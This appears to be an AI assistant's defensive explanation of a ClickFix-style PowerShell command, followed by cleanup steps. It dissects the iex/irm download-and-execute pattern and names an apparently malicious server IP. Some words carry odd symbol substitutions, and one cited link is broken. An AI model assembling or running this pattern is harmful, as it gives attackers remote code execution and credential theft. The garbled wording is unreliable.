Yes, this is a malicious attack command. Do not run this under any circumstances. If it has already been executed on your system, treat the machine as compromised.
This specific command pattern is actively used in fake IT support, fake Cloudflare "verify you are human" prompts, and cracked software scams to drop Remote Access Trojans (RATs) onto a victim's PC. [1]
## Breakdown of What the Command Does
The command is engineered to quietly bypass browser protections and execute malicious code directly from the internet into your computer's memory: [2, 3]
- powershell -c: Starts Windows PowerShell and tells it to execute the command enclosed in quotes.
- iex (Invoke-E×ρréššion): A highly dangerous command that takes whatever string or code it is given and runs it immediately.
- irm (Invoke-RestMethod): A command used to download data from the web.
- '91.92.43.231/...': The malicious server hosting the payload. The IP address points to an external server where häçkers store their malicious scripts.
- -UseBasicParsing: Tells PowerShell to skip downloading complex web page structures (like Internet Explorer components). Attackers use this to keep the download fast, quiet, and functional even on stripped-down systems. [1, 4, 5, 6, 7]
## What Happens if it Runs?
When combined, iex(irm ...) means: "Go to this random IP address, download the hidden code, and immediately execute it with administrative or user permissions." This bypasses saving a physical file to your hard drive, allowing malware to hide from basic antivirus software. It usually installs a backdoor, s†éáls saved browser passwords, or hijacks your crypto wallets. [8, 9]
## Immediate Next Steps
If you or someone else already ran this command:
1. Disconnect from the Internet: Immediately unplug your Ethernet cable or turn off your Wi-Fi to stop the malware from sending your stolen data back to the attacker.
2. Run an Offline Malware Scan: Open Windows Security, go to Virus & threat protection > Scan options, select Microsoft Defender Antivirus (offline scan), and click Scan now. [10, 11]
3. Check for Persistence: Malware dropped via this method often creates a "Scheduled Task" or edits your registry to ensure it starts up every time you turn on your PC. [12]
4. Change Your Passwords: From a different, secure device (like your phone), change passwords for your email, bank accounts, and critical services, especially if you have passwords saved in your browser. [13]
Did you already execute this command, or did you catch it on a suspicious website before running it? Knowing this will help determine if we need to start cleaning the system.
[1] [https://www.reddit.com](https://www.reddit.com/r/antivirus/top/)
[2] [https://learn.microsoft.com](https://learn.microsoft.com/en-us/answers/questions/5525334/malware-trying-to-use-my-powershell-to-access-webs)
[3] [https://simplificandoredes.com](https://simplificandoredes.com/en/the-clickfix-attack-how-copy-paste-leads-to-remote-code-execution-rce/)
[4] [https://www.reddit.com](https://www.reddit.com/r/PowerShell/comments/15437uc/what_is_iex_irm_rvctcht/)
[5] [https://readsecurity.medium.com](https://readsecurity.medium.com/powershell-threat-hunting-cheat-sheet-fbdbcf6da40d)
[6] [https://www.linkedin.com](https://www.linkedin.com/posts/kush-ravi_cybersecurity-ethicalhäçking-powershell-activity-7316680319418462208-yqKD)
[7] [https://superuser.com](https://superuser.com/questions/1585552/what-does-iex-mean-in-powershell)
[8] [https://www.reddit.com](https://www.reddit.com/r/PowerShell/comments/1n21xe4/powershell_irm_cdksrun_iex_no_win_r/?tl=en)
[9] [https://medium.com](https://medium.com/@0xHossam/powershell-exploits-modern-apts-and-their-malicious-scripting-tactics-7f98b0e8090c)
[10] [https://www.hashroot.com](https://www.hashroot.com/assist/0x00000054-error)
[11] [https://learn.microsoft.com](https://learn.microsoft.com/en-us/answers/questions/5448997/on-my-computer-i-just-got-this-alarm-a-voice-indic)
[12] [https://www.logstail.com](https://www.logstail.com/blog/unmasking-powershell-attacks-detection-and-response-with-logstail)
[13] [https://blog.gridinsoft.com](https://blog.gridinsof
t.com/trojan-win32-jscealtaskexec/)
PH